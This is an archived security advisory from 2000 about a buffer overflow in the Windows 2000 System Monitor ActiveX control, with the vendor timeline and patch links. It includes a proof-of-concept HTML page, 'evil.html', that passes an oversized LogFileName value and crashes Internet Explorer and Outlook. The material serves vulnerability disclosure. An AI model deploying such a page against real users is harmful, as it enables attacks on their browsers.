Microsoft System Monitor ActiveX Exploiteable Unicode Buffer Overflow Vulnerability

 
Microsoft System Monitor ActiveX Exploiteable Unicode Buffer Overflow Vulnerability


USSR Advisory Code:  USSR-2000057


Public Disclosure Date:
November 3, 2000


Vendors Affected:

Microsoft Corporation
http://www.microsoft.com


Systems Affected:
Microsoft Windows 2000 Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server


Problem:
The USSR Team has found a problem in the Microsoft System Monitor
ActiveX control (class id: C4D2D8E0-D1DD-11CE-940F-008029004347, sysmon.ocx) 
in the Value field name "LogFileName", which could be used by malicious user 
to potentially run code on another userís machine.

The vulnerability can only be exploited if ActiveX controls are
enabled in Internet Explorer, Outlook or Outlook Express.


SPECIAL NOTE: USSR Labs takes no responsibility for the following example. 
It is provided for educational purposes only.

Example evil.html:
<HTML>
<BODY>
<OBJECT ID="DISystemMonitor1" WIDTH="100%" HEIGHT="100%"
CLASSID="CLSID:C4D2D8E0-D1DD-11CE-940F-008029004347">
<PARAM NAME="LogFileName" VALUE="aaaaaaaaaa[20000 'a']"
</OBJECT> 
</BODY>
</HTML>


If a user accesses a page with the above mentioned code imbedded,
IE, Outlook and Outlook Express will crash. The following error
message will appear in the event log.

"Application popup: iexplore.exe - Application Error : The
instruction at "0x64a8e132" referenced memory at "0x006100dd". The
memory could not be "written".


Online examples:

http://www.ussrback.com/microsoft/msmactivex.html
http://www.ussrback.com/microsoft/msmactivex2.html


Vendor Status:
Informed: Sunday, September 17, 2000 4:23 PM
Contacted: Sunday, September 17, 2000 5:55 PM
Patch Available: November 3, 2000

Status:

More Information:

http://www.microsoft.com/technet/security/bulletin/ms00-085.asp

Frequently Asked Questions: Microsoft Security Bulletin MS00-085
http://www.microsoft.com/technet/security/bulletin/fq00-085.asp

Microsoft Knowledge Base article Q278511 discusses this issue and
will be available soon.

Fix:
Windows 2000: (can be applied to both Gold and Service Pack 1)

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25532


Related Links:

Underground Security Systems Research:
http://www.ussrback.com

CrunchSp Product:
http://www.crunchsp.com

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